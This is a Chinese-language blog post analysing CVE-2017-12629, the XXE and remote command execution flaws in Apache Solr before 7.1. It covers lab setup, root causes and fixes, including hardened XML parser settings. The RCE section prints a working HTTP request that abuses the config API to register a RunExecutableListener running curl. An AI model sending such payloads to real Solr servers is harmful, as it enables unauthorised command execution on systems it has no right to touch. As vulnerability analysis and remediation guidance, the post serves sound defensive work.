CVE-2017-12629 - Apache Solr XXE & RCE 漏洞分析 Secer's Blog - 记录互联网安全历程与个人成长经历

Versions Affected

Apache Solr before 7.1.0 with Apache Lucene before 7.1
Elasticsearch, although it uses Lucene, is NOT vulnerable to this.

Description

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE）。

First Vulnerability: XML External Entity Expansion

Test Environment

Linux Ubuntu server x64
Apache Solr 7.0.1 (https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.0.1/)
Java SE Development Kit 8 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)

1. 启动Solr

Solr不需要额外安装，解压安装包即可，通过bin/solr目录来启动

$ bin/solr start

如果在Windows平台，可以这样启动：

bin\solr.cmd start

这样就可以在后台启动Solr，并监听8983端口，启动脚本会检查启动的正确性并返回提示信息到控制台。这时就可以通过浏览器来访问管理控制台(http://localhost:8983/solr/)。

2. 创建Core

如果没有使用示例配置，为了能够建立索引和查询，这里必须创建一个Core

$ bin/solr create -c Urahara # Urahara为你要创建的Core的名称

这会使用data-driven schema创建一个core，会尝试根据添加的文档来确定类型建立索引。

查看所有创建新core的选项：

$ bin/solr create -help

3. 添加文档

这时候Solr中还是空的，我们需要添加一些文档以便进行索引。在example/目录的子目录下有不同的类型。

在bin/目录下有一个发送脚本，是一个命令行工具，可以索引不同的文档。现在不需要关心太多细节。索引部分的所有细节都在The Indexing and Basic Data Operations部分。

要查看有关bin/post的有关信息，使用-help选项。Windows用户可以参考bin/post工具的Windows部分。bin/post可以发送各种数据类型到Solr，包括原生的XML和JSON格式、CSV文件，丰富的文档目录树，甚至是抓取的简单网页。

继续，根据示例XML文件添加所有文档：

完成上述操作Solr就已经为这些文档建立索引并包含在这些文件中。

现在，我们有了索引文档可以执行查询。比如下面在所有文档中查询video

Vulnerability Analysis

这是一个典型XXE漏洞的缺陷编码示例，Lucene包含了一个查询解析器支持XML格式进行数据查询，出现问题的代码片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中

通过查看调用栈中的数据处理流程，在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理，造成了Blind XXE。

Second Vulnerability: Remote Code Execution

依据漏洞作者所披露的漏洞细节来看，RCE需要使用到SolrCloud Collections API，所以RCE只影响Solrcloud分布式系统。

Test Environment

Linux Ubuntu server x64
Apache Solr 7.0.1 (https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.0.1/)
Java SE Development Kit 8 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)
Zookeeper 3.4.6 (http://mirror.bit.edu.cn/apache/zookeeper/)

这里我搭建了单节点伪分布式SolrCloud进行漏洞复现和调试

1. 启动Zookeeper

在ZooKeeper目录创建data目录，用来作为单个ZooKeeper节点的存储目录，在该目录下建立一个myid文件echo 1 > data/myid

打开conf/zoo.cfg文件，进行如下修改: dataDir修改为data的路径，并在文件末尾加上如下配置server.1=localhost:2287:3387

通过bin/zkServer.sh start ./conf/zoo.cfg 启动Zookeeper服务

2. 启动Solr

启动Solr时需要与Zookeeper端口对应

bin/solr start -p 8983 -f -a "-DzkHost=localhost:2181"

至此，我们已完成了SolrCloud的伪分布式搭建

Vulnerability Analysis

RunExecutableListener类中使用了Runtime.getRuntime().exec()方法，可用于在某些特定事件中执行任意命令

使用了config API传入add-listener命令即可调用RunExecutableListener

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://127.0.0.1:8080"]
  }
}

而这里的“exe”，“dir”，“args”内容也都可以通过http的方式传入，所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作

通过查看代码，能够触发命令执行的事件有两个：postCommit 和 newSearcher

使用postCommit时，需要使用update进行collection更新后命令才会执行，因此需要两次进行请求

而使用newSearcher时可直接执行命令

Solution

1.添加Solr访问控制，包括禁止本地直接未授权访问

2.升级版本至7.1，该版本已经解决了XML解析问题并删除了RunExecutableListener类

3.针对XXE可手动修改CoreParser.java文件，按照通常防止基于DOM解析产生XXE的防范方法修复即可

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
      //protect from XXE attacks
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

      db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
      throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
      doc = db.parse(pXmlFile);
    }

4.针对RCE问题，由于涉及的是SolrCloud所以建议在所有节点中添加filter，进行相关过滤